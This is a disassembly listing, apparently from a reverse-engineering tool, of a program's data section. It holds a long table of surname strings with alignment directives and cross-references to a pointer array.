aZytowski db 'Zytowski',0 ; DATA XREF: .data:0042EF28o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: .data:0042EF24o
align 10h
aZurn db 'Zurn',0 ; DATA XREF: .data:0042EF20o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: .data:0042EF1Co
aZoldak db 'Zoldak',0 ; DATA XREF: .data:0042EF18o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: .data:0042EF14o
aZegans db 'Zegans',0 ; DATA XREF: .data:0042EF10o
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: .data:0042EF0Co
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: .data:0042EF08o
align 4
aZachary db 'Zachary',0 ; DATA XREF: .data:0042EF04o
aYu db 'Yu',0 ; DATA XREF: .data:0042EF00o
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: .data:0042EEFCo
align 4
aYoo db 'Yoo',0 ; DATA XREF: .data:0042EEF8o
aYoffe db 'Yoffe',0 ; DATA XREF: .data:0042EEF4o
align 10h
aYetiv db 'Yetiv',0 ; DATA XREF: .data:0042EEF0o
align 4
aYesson db 'Yesson',0 ; DATA XREF: .data:0042EEECo
align 10h
aYedidia db 'Yedidia',0 ; DATA XREF: .data:0042EEE8o
aYbarra db 'Ybarra',0 ; DATA XREF: .data:0042EEE4o
align 10h
aYates db 'Yates',0 ; DATA XREF: .data:0042EEE0o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: .data:0042EEDCo
aYankee db 'Yankee',0 ; DATA XREF: .data:0042EED8o
align 4
aYamane db 'Yamane',0 ; DATA XREF: .data:0042EED4o
align 10h
aYacono db 'Yacono',0 ; DATA XREF: .data:0042EED0o
align 4
aVotey db 'Votey',0 ; DATA XREF: .data:0042EECCo
align 10h
aVorhaus db 'Vorhaus',0 ; DATA XREF: .data:0042EEC8o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .data:0042EEC4o
align 4
aWoods db 'Woods',0 ; DATA XREF: .data:0042EEC0o
align 10h
aWooden db 'Wooden',0 ; DATA XREF: .data:0042EEBCo
align 4
aWoo db 'Woo',0 ; DATA XREF: .data:0042EEB8o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: .data:0042EEB4o
align 4
aWolk db 'Wolk',0 ; DATA XREF: .data:0042EEB0o
align 10h
aVoigt db 'Voigt',0 ; DATA XREF: .data:0042EEACo
align 4
aViviani db 'Viviani',0 ; DATA XREF: .data:0042EEA8o
aVitali db 'Vitali',0 ; DATA XREF: .data:0042EEA4o
align 4
aWilson db 'Wilson',0 ; DATA XREF: .data:0042EEA0o
align 10h
aWillstatter db 'Willstatter',0 ; DATA XREF: .data:0042EE9Co
aVillarreal db 'Villarreal',0 ; DATA XREF: .data:0042EE98o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: .data:0042EE94o
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: .data:0042EE90o
align 4
aWilk db 'Wilk',0 ; DATA XREF: .data:0042EE8Co
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: .data:0042EE88o
aWilder db 'Wilder',0 ; DATA XREF: .data:0042EE84o
align 4
aVignola db 'Vignola',0 ; DATA XREF: .data:0042EE80o
aViens db 'Viens',0 ; DATA XREF: .data:0042EE7Co
align 4
aWiener db 'Wiener',0 ; DATA XREF: .data:0042EE78o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .data:0042EE74o
aViano db 'Viano',0 ; DATA XREF: .data:0042EE70o
align 10h
aViana db 'Viana',0 ; DATA XREF: .data:0042EE6Co
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: .data:0042EE68o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: .data:0042EE64o
align 4
aWhite db 'White',0 ; DATA XREF: .data:0042EE60o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: .data:0042EE5Co
aWhately db 'Whately',0 ; DATA XREF: .data:0042EE58o
aWetzel db 'Wetzel',0 ; DATA XREF: .data:0042EE54o
align 4
aWescott db 'Wescott',0 ; DATA XREF: .data:0042EE50o
aVerghese db 'Verghese',0 ; DATA XREF: .data:0042EE4Co
align 10h
aVenne db 'Venne',0 ; DATA XREF: .data:0042EE48o
align 4
aWengret db 'Wengret',0 ; DATA XREF: .data:0042EE44o
aWelsh db 'Welsh',0 ; DATA XREF: .data:0042EE40o
align 4
aWelles db 'Welles',0 ; DATA XREF: .data:0042EE3Co
align 10h
aVelasquez db 'Velasquez',0 ; DATA XREF: .data:0042EE38o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: .data:0042EE34o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .data:0042EE30o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .data:0042EE2Co
align 10h
aWeingarten db 'Weingarten',0 ; DATA XREF: .data:0042EE28o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: .data:0042EE24o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: .data:0042EE20o
align 10h
aVasquez db 'Vasquez',0 ; DATA XREF: .data:0042EE1Co
aWasowska db 'Wasowska',0 ; DATA XREF: .data:0042EE18o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .data:0042EE14o
align 10h
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .data:0042EE10o
align 10h
aVandenberg db 'Vandenberg',0 ; DATA XREF: .data:0042EE0Co
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: .data:0042EE08o
aVanallen db 'vanAllen',0 ; DATA XREF: .data:0042EE04o
align 10h
aWalter db 'Walter',0 ; DATA XREF: .data:0042EE00o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: .data:0042EDFCo
align 4
aWales db 'Wales',0 ; DATA XREF: .data:0042EDF8o
align 4
aValencia db 'Valencia',0 ; DATA XREF: .data:0042EDF4o
align 4
aValberg db 'Valberg',0 ; DATA XREF: .data:0042EDF0o
aWaite db 'Waite',0 ; DATA XREF: .data:0042EDECo
align 4
aVacca db 'Vacca',0 ; DATA XREF: .data:0042EDE8o
align 10h
aUzuner db 'Uzuner',0 ; DATA XREF: .data:0042EDE4o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: .data:0042EDE0o
align 10h
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .data:0042EDDCo
align 10h
aUrban db 'Urban',0 ; DATA XREF: .data:0042EDD8o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: .data:0042EDD4o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .data:0042EDD0o
align 4
aUllman db 'Ullman',0 ; DATA XREF: .data:0042EDCCo
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: .data:0042EDC8o
align 10h
aTwells db 'Twells',0 ; DATA XREF: .data:0042EDC4o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: .data:0042EDC0o
align 10h
aTurek db 'Turek',0 ; DATA XREF: .data:0042EDBCo
align 4
aTurano db 'Turano',0 ; DATA XREF: .data:0042EDB8o
align 10h
aTukan db 'Tukan',0 ; DATA XREF: .data:0042EDB4o
align 4
aTudge db 'Tudge',0 ; DATA XREF: .data:0042EDB0o
align 10h
aTuck db 'Tuck',0 ; DATA XREF: .data:0042EDACo
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: .data:0042EDA8o
align 4
aTsomides db 'Tsomides',0 ; DATA XREF: .data:0042EDA4o
align 10h
aTsiatis db 'Tsiatis',0 ; DATA XREF: .data:0042EDA0o
aTruss db 'Truss',0 ; DATA XREF: .data:0042ED9Co
align 10h
aTroy db 'Troy',0 ; DATA XREF: .data:0042ED98o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: .data:0042ED94o
aTringali db 'Tringali',0 ; DATA XREF: .data:0042ED90o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: .data:0042ED8Co
align 4
aTrenga db 'Trenga',0 ; DATA XREF: .data:0042ED88o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: .data:0042ED84o
align 4
aToye db 'Toye',0 ; DATA XREF: .data:0042ED80o
align 10h
aTowler db 'Towler',0 ; DATA XREF: .data:0042ED7Co
align 4
aTorske db 'Torske',0 ; DATA XREF: .data:0042ED78o
align 10h
aTorresi db 'Torresi',0 ; DATA XREF: .data:0042ED74o
aTopulos db 'Topulos',0 ; DATA XREF: .data:0042ED70o
aToomer db 'Toomer',0 ; DATA XREF: .data:0042ED6Co
align 4
aTomford db 'Tomford',0 ; DATA XREF: .data:0042ED68o
aTolman db 'Tolman',0 ; DATA XREF: .data:0042ED64o
align 4
aTolls db 'Tolls',0 ; DATA XREF: .data:0042ED60o
align 10h
aTollestrup db 'Tollestrup',0 ; DATA XREF: .data:0042ED5Co
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: .data:0042ED58o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: .data:0042ED54o
aTill db 'Till',0 ; DATA XREF: .data:0042ED50o
align 4
aTierney db 'Tierney',0 ; DATA XREF: .data:0042ED4Co
aThroop db 'Throop',0 ; DATA XREF: .data:0042ED48o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: .data:0042ED44o
aThisted db 'Thisted',0 ; DATA XREF: .data:0042ED40o
aThibault db 'Thibault',0 ; DATA XREF: .data:0042ED3Co
align 4
aTheodos db 'Theodos',0 ; DATA XREF: .data:0042ED38o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .data:0042ED34o
align 4
aThan db 'Than',0 ; DATA XREF: .data:0042ED30o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: .data:0042ED2Co
align 10h
aTenney db 'Tenney',0 ; DATA XREF: .data:0042ED28o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: .data:0042ED24o
align 10h
aTemes db 'Temes',0 ; DATA XREF: .data:0042ED20o
align 4
aTeague db 'Teague',0 ; DATA XREF: .data:0042ED1Co
align 10h
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .data:0042ED18o
align 4
aTawn db 'Tawn',0 ; DATA XREF: .data:0042ED14o
align 4
aTaveras db 'Taveras',0 ; DATA XREF: .data:0042ED10o
aTatar db 'Tatar',0 ; DATA XREF: .data:0042ED0Co
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: .data:0042ED08o
align 10h
aTandler db 'Tandler',0 ; DATA XREF: .data:0042ED04o
aTambiah db 'Tambiah',0 ; DATA XREF: .data:0042ED00o
aTalaugon db 'Talaugon',0 ; DATA XREF: .data:0042ECFCo
align 4
aTai db 'Tai',0 ; DATA XREF: .data:0042ECF8o
aTagiuri db 'Tagiuri',0 ; DATA XREF: .data:0042ECF4o
aSwindle db 'Swindle',0 ; DATA XREF: .data:0042ECF0o
aSweetser db 'Sweetser',0 ; DATA XREF: .data:0042ECECo
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: .data:0042ECE8o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: .data:0042ECE4o
align 10h
aSuo db 'Suo',0 ; DATA XREF: .data:0042ECE0o
aSumner db 'Sumner',0 ; DATA XREF: .data:0042ECDCo
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: .data:0042ECD8o
align 4
aStringer db 'Stringer',0 ; DATA XREF: .data:0042ECD4o
align 4
aStreiff db 'Streiff',0 ; DATA XREF: .data:0042ECD0o
aStrauch db 'Strauch',0 ; DATA XREF: .data:0042ECCCo
aStrange db 'Strange',0 ; DATA XREF: .data:0042ECC8o
aStott db 'Stott',0 ; DATA XREF: .data:0042ECC4o
align 4
aStorer db 'Storer',0 ; DATA XREF: .data:0042ECC0o
align 4
aStonich db 'Stonich',0 ; DATA XREF: .data:0042ECBCo
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .data:0042ECB8o
aStockwell db 'Stockwell',0 ; DATA XREF: .data:0042ECB4o
align 4
aStockton db 'Stockton',0 ; DATA XREF: .data:0042ECB0o
align 4
aStock db 'Stock',0 ; DATA XREF: .data:0042ECACo
align 10h
aStillwell db 'Stillwell',0 ; DATA XREF: .data:0042ECA8o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: .data:0042ECA4o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .data:0042ECA0o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: .data:0042EC9Co
aStephanian db 'Stephanian',0 ; DATA XREF: .data:0042EC98o
align 10h
aSteiner db 'Steiner',0 ; DATA XREF: .data:0042EC94o
aStefani db 'Stefani',0 ; DATA XREF: .data:0042EC90o
aStatlender db 'Statlender',0 ; DATA XREF: .data:0042EC8Co
align 4
aStates db 'States',0 ; DATA XREF: .data:0042EC88o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .data:0042EC84o
align 4
aStang db 'Stang',0 ; DATA XREF: .data:0042EC80o
align 4
aStam db 'Stam',0 ; DATA XREF: .data:0042EC7Co
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: .data:0042EC78o
aStmartin db 'StMartin',0 ; DATA XREF: .data:0042EC74o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: .data:0042EC70o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .data:0042EC6Co
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .data:0042EC68o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: .data:0042EC64o
align 4
aSperber db 'Sperber',0 ; DATA XREF: .data:0042EC60o
aSpence db 'Spence',0 ; DATA XREF: .data:0042EC5Co
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: .data:0042EC58o
aSpaulding db 'Spaulding',0 ; DATA XREF: .data:0042EC54o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: .data:0042EC50o
aSpanier db 'Spanier',0 ; DATA XREF: .data:0042EC4Co
aSoultanian db 'Soultanian',0 ; DATA XREF: .data:0042EC48o
align 4
aSoule db 'Soule',0 ; DATA XREF: .data:0042EC44o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: .data:0042EC40o
align 4
aSottak db 'Sottak',0 ; DATA XREF: .data:0042EC3Co
align 4
aSorg db 'Sorg',0 ; DATA XREF: .data:0042EC38o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: .data:0042EC34o
align 10h
aSommariva db 'Sommariva',0 ; DATA XREF: .data:0042EC30o
align 4
aSomers db 'Somers',0 ; DATA XREF: .data:0042EC2Co
align 4
aSolon db 'Solon',0 ; DATA XREF: .data:0042EC28o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: .data:0042EC24o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .data:0042EC20o
align 10h
aSniffen db 'Sniffen',0 ; DATA XREF: .data:0042EC1Co
aSmilow db 'Smilow',0 ; DATA XREF: .data:0042EC18o
align 10h
aSlowe db 'Slowe',0 ; DATA XREF: .data:0042EC14o
align 4
aSloan db 'Sloan',0 ; DATA XREF: .data:0042EC10o
align 10h
aSkoda db 'Skoda',0 ; DATA XREF: .data:0042EC0Co
align 4
aSkerry db 'Skerry',0 ; DATA XREF: .data:0042EC08o
align 10h
aSkane db 'Skane',0 ; DATA XREF: .data:0042EC04o
align 4
aSites db 'Sites',0 ; DATA XREF: .data:0042EC00o
align 10h
aSirilli db 'Sirilli',0 ; DATA XREF: .data:0042EBFCo
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .data:0042EBF8o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: .data:0042EBF4o
align 10h
aSilverman db 'Silverman',0 ; DATA XREF: .data:0042EBF0o
align 4
aSigna db 'Signa',0 ; DATA XREF: .data:0042EBECo
align 4
aSigini db 'Sigini',0 ; DATA XREF: .data:0042EBE8o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: .data:0042EBE4o
aSiesto db 'Siesto',0 ; DATA XREF: .data:0042EBE0o
align 4
aShimon db 'Shimon',0 ; DATA XREF: .data:0042EBDCo
align 4
aShibata db 'Shibata',0 ; DATA XREF: .data:0042EBD8o
aShia db 'Shia',0 ; DATA XREF: .data:0042EBD4o
align 4
aShesko db 'Shesko',0 ; DATA XREF: .data:0042EBD0o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: .data:0042EBCCo
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: .data:0042EBC8o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: .data:0042EBC4o
align 10h
aSheats db 'Sheats',0 ; DATA XREF: .data:0042EBC0o
align 4
aShea db 'Shea',0 ; DATA XREF: .data:0042EBBCo
align 10h
aShavelson db 'Shavelson',0 ; DATA XREF: .data:0042EBB8o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: .data:0042EBB4o
aShar db 'Shar',0 ; DATA XREF: .data:0042EBB0o
align 4
aShanley db 'Shanley',0 ; DATA XREF: .data:0042EBACo
aShankland db 'Shankland',0 ; DATA XREF: .data:0042EBA8o
align 10h
aShakis db 'Shakis',0 ; DATA XREF: .data:0042EBA4o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: .data:0042EBA0o
align 10h
aSeyfert db 'Seyfert',0 ; DATA XREF: .data:0042EB9Co
aSexton db 'Sexton',0 ; DATA XREF: .data:0042EB98o
align 10h
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .data:0042EB94o
align 4
aSennett db 'Sennett',0 ; DATA XREF: .data:0042EB90o
aSen db 'Sen',0 ; DATA XREF: .data:0042EB8Co
aSelvage db 'Selvage',0 ; DATA XREF: .data:0042EB88o
aSekler db 'Sekler',0 ; DATA XREF: .data:0042EB84o
align 4
aSegal db 'Segal',0 ; DATA XREF: .data:0042EB80o
align 10h
aSeeber db 'Seeber',0 ; DATA XREF: .data:0042EB7Co
align 4
aSeaton db 'Seaton',0 ; DATA XREF: .data:0042EB78o
align 10h
aScudder db 'Scudder',0 ; DATA XREF: .data:0042EB74o
aScovel db 'Scovel',0 ; DATA XREF: .data:0042EB70o
align 10h
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .data:0042EB6Co
aSchwan db 'Schwan',0 ; DATA XREF: .data:0042EB68o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: .data:0042EB64o
align 10h
aSchutte db 'Schutte',0 ; DATA XREF: .data:0042EB60o
aSchuman db 'Schuman',0 ; DATA XREF: .data:0042EB5Co
aSchossberger db 'Schossberger',0 ; DATA XREF: .data:0042EB58o
align 10h
aSchmitt db 'Schmitt',0 ; DATA XREF: .data:0042EB54o
aSchilling db 'Schilling',0 ; DATA XREF: .data:0042EB50o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: .data:0042EB4Co
align 10h
aSchiano db 'Schiano',0 ; DATA XREF: .data:0042EB48o
aScheiner db 'Scheiner',0 ; DATA XREF: .data:0042EB44o
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: .data:0042EB40o
aScharf db 'Scharf',0 ; DATA XREF: .data:0042EB3Co
align 4
aScepan db 'Scepan',0 ; DATA XREF: .data:0042EB38o
align 10h
aScarponi db 'Scarponi',0 ; DATA XREF: .data:0042EB34o
align 4
aSayied db 'Sayied',0 ; DATA XREF: .data:0042EB30o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: .data:0042EB2Co
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .data:0042EB28o
align 4
aSatta db 'Satta',0 ; DATA XREF: .data:0042EB24o
align 4
aSatin db 'Satin',0 ; DATA XREF: .data:0042EB20o
align 4
aSase db 'Sase',0 ; DATA XREF: .data:0042EB1Co
align 4
aSartore db 'Sartore',0 ; DATA XREF: .data:0042EB18o
aSarin db 'Sarin',0 ; DATA XREF: .data:0042EB14o
align 4
aSapers db 'Sapers',0 ; DATA XREF: .data:0042EB10o
align 4
aSanna db 'Sanna',0 ; DATA XREF: .data:0042EB0Co
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .data:0042EB08o
aSamson db 'Samson',0 ; DATA XREF: .data:0042EB04o
align 4
aSali db 'Sali',0 ; DATA XREF: .data:0042EB00o
align 4
aSahu db 'Sahu',0 ; DATA XREF: .data:0042EAFCo
align 4
aSafire db 'Safire',0 ; DATA XREF: .data:0042EAF8o
align 4
aSadler db 'Sadler',0 ; DATA XREF: .data:0042EAF4o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: .data:0042EAF0o
align 4
aRyu db 'Ryu',0 ; DATA XREF: .data:0042EAECo
aRush db 'Rush',0 ; DATA XREF: .data:0042EAE8o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: .data:0042EAE4o
align 10h
aRuderman db 'Ruderman',0 ; DATA XREF: .data:0042EAE0o
align 4
aRuan db 'Ruan',0 ; DATA XREF: .data:0042EADCo
align 4
aRu db 'Ru',0 ; DATA XREF: .data:0042EAD8o
align 4
aRoyal db 'Royal',0 ; DATA XREF: .data:0042EAD4o
align 10h
aRow db 'Row',0 ; DATA XREF: .data:0042EAD0o
aRonen db 'Ronen',0 ; DATA XREF: .data:0042EACCo
align 4
aRogers db 'Rogers',0 ; DATA XREF: .data:0042EAC8o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: .data:0042EAC4o
aRocha db 'Rocha',0 ; DATA XREF: .data:0042EAC0o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: .data:0042EABCo
align 10h
aRivera db 'Rivera',0 ; DATA XREF: .data:0042EAB8o
align 4
aRish db 'Rish',0 ; DATA XREF: .data:0042EAB4o
align 10h
aRineer db 'Rineer',0 ; DATA XREF: .data:0042EAB0o
align 4
aRindos db 'Rindos',0 ; DATA XREF: .data:0042EAACo
align 10h
aRielly db 'Rielly',0 ; DATA XREF: .data:0042EAA8o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: .data:0042EAA4o
align 4
aRhea db 'Rhea',0 ; DATA XREF: .data:0042EAA0o
align 4
aResnik db 'Resnik',0 ; DATA XREF: .data:0042EA9Co
align 4
aRepetto db 'Repetto',0 ; DATA XREF: .data:0042EA98o
aRenick db 'Renick',0 ; DATA XREF: .data:0042EA94o
align 4
aRemak db 'Remak',0 ; DATA XREF: .data:0042EA90o
align 4
aReinold db 'Reinold',0 ; DATA XREF: .data:0042EA8Co
aCunningham db 'Cunningham',0 ; DATA XREF: .data:0042EA88o
align 10h
aReedquist db 'Reedquist',0 ; DATA XREF: .data:0042EA84o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .data:0042EA80o
align 4
aRayport db 'Rayport',0 ; DATA XREF: .data:0042EA7Co
aRapple db 'Rapple',0 ; DATA XREF: .data:0042EA78o
align 4
aRankin db 'Rankin',0 ; DATA XREF: .data:0042EA74o
align 4
aRangan db 'Rangan',0 ; DATA XREF: .data:0042EA70o
align 4
aRaney db 'Raney',0 ; DATA XREF: .data:0042EA6Co
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .data:0042EA68o
aRadeke db 'Radeke',0 ; DATA XREF: .data:0042EA64o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: .data:0042EA60o
align 10h
aRabe db 'Rabe',0 ; DATA XREF: .data:0042EA5Co
align 4
aQuetin db 'Quetin',0 ; DATA XREF: .data:0042EA58o
align 10h
aQuaday db 'Quaday',0 ; DATA XREF: .data:0042EA54o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: .data:0042EA50o
aPugh db 'Pugh',0 ; DATA XREF: .data:0042EA4Co
align 4
aPuccia db 'Puccia',0 ; DATA XREF: .data:0042EA48o
align 10h
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .data:0042EA44o
align 10h
aProietti db 'Proietti',0 ; DATA XREF: .data:0042EA40o
align 4
aPritz db 'Pritz',0 ; DATA XREF: .data:0042EA3Co
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: .data:0042EA38o
align 10h
aPrevost db 'Prevost',0 ; DATA XREF: .data:0042EA34o
aPreucel db 'Preucel',0 ; DATA XREF: .data:0042EA30o
aPresper db 'Presper',0 ; DATA XREF: .data:0042EA2Co
aPowers db 'Powers',0 ; DATA XREF: .data:0042EA28o
align 10h
aPoolman db 'Poolman',0 ; DATA XREF: .data:0042EA24o
aPoma db 'Poma',0 ; DATA XREF: .data:0042EA20o
align 10h
aPolitis db 'Politis',0 ; DATA XREF: .data:0042EA1Co
aPolanyi db 'Polanyi',0 ; DATA XREF: .data:0042EA18o
aPolak db 'Polak',0 ; DATA XREF: .data:0042EA14o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: .data:0042EA10o
aPointer db 'Pointer',0 ; DATA XREF: .data:0042EA0Co
aPoincaire db 'Poincaire',0 ; DATA XREF: .data:0042EA08o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: .data:0042EA04o
align 10h
aPo db 'Po',0 ; DATA XREF: .data:0042EA00o
align 4
aPlous db 'Plous',0 ; DATA XREF: .data:0042E9FCo
align 4
aPlasket db 'Plasket',0 ; DATA XREF: .data:0042E9F8o
aPlant db 'Plant',0 ; DATA XREF: .data:0042E9F4o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: .data:0042E9F0o
aPinot db 'Pinot',0 ; DATA XREF: .data:0042E9ECo
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: .data:0042E9E8o
aPfister db 'Pfister',0 ; DATA XREF: .data:0042E9E4o
aPettit db 'Pettit',0 ; DATA XREF: .data:0042E9E0o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: .data:0042E9DCo
align 10h
aPetruzello db 'Petruzello',0 ; DATA XREF: .data:0042E9D8o
align 4
aPeters db 'Peters',0 ; DATA XREF: .data:0042E9D4o
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: .data:0042E9D0o
align 10h
aPerone db 'Perone',0 ; DATA XREF: .data:0042E9CCo
align 4
aPerna db 'Perna',0 ; DATA XREF: .data:0042E9C8o
align 10h
aPerlman db 'Perlman',0 ; DATA XREF: .data:0042E9C4o
aPerlak db 'Perlak',0 ; DATA XREF: .data:0042E9C0o
align 10h
aPerko db 'Perko',0 ; DATA XREF: .data:0042E9BCo
align 4
aPereira db 'Pereira',0 ; DATA XREF: .data:0042E9B8o
aPenny db 'Penny',0 ; DATA XREF: .data:0042E9B4o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: .data:0042E9B0o
aPederson db 'Pederson',0 ; DATA XREF: .data:0042E9ACo
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: .data:0042E9A8o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: .data:0042E9A4o
aPaynter db 'Paynter',0 ; DATA XREF: .data:0042E9A0o
aPawloski db 'Pawloski',0 ; DATA XREF: .data:0042E99Co
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: .data:0042E998o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: .data:0042E994o
aPattullo db 'Pattullo',0 ; DATA XREF: .data:0042E990o
align 10h
aPatrick db 'Patrick',0 ; DATA XREF: .data:0042E98Co
aPatefield db 'Patefield',0 ; DATA XREF: .data:0042E988o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: .data:0042E984o
align 10h
aPartridge db 'Partridge',0 ; DATA XREF: .data:0042E980o
align 4
aParris db 'Parris',0 ; DATA XREF: .data:0042E97Co
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .data:0042E978o
aPaoletti db 'Paoletti',0 ; DATA XREF: .data:0042E974o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: .data:0042E970o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: .data:0042E96Co
align 4
aPanadero db 'Panadero',0 ; DATA XREF: .data:0042E968o
align 10h
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .data:0042E964o
align 4
aPallara db 'Pallara',0 ; DATA XREF: .data:0042E960o
aPalepu db 'Palepu',0 ; DATA XREF: .data:0042E95Co
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: .data:0042E958o
align 4
aPaine db 'Paine',0 ; DATA XREF: .data:0042E954o
align 10h
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .data:0042E950o
align 10h
aOvid db 'Ovid',0 ; DATA XREF: .data:0042E94Co
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: .data:0042E948o
aOtten db 'Otten',0 ; DATA XREF: .data:0042E944o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: .data:0042E940o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: .data:0042E93Co
align 10h
aOspina db 'Ospina',0 ; DATA XREF: .data:0042E938o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: .data:0042E934o
align 10h
aOrfield db 'Orfield',0 ; DATA XREF: .data:0042E930o
aOray db 'Oray',0 ; DATA XREF: .data:0042E92Co
align 10h
aOpel db 'Opel',0 ; DATA XREF: .data:0042E928o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .data:0042E924o
aOman db 'Oman',0 ; DATA XREF: .data:0042E920o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .data:0042E91Co
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: .data:0042E918o
align 10h
aOlson db 'Olson',0 ; DATA XREF: .data:0042E914o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: .data:0042E910o
align 10h
aOldford db 'Oldford',0 ; DATA XREF: .data:0042E90Co
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .data:0042E908o
aOh db 'Oh',0 ; DATA XREF: .data:0042E904o
align 4
aOgata db 'Ogata',0 ; DATA XREF: .data:0042E900o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: .data:0042E8FCo
aNuzum db 'Nuzum',0 ; DATA XREF: .data:0042E8F8o
align 4
aNotman db 'Notman',0 ; DATA XREF: .data:0042E8F4o
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: .data:0042E8F0o
align 10h
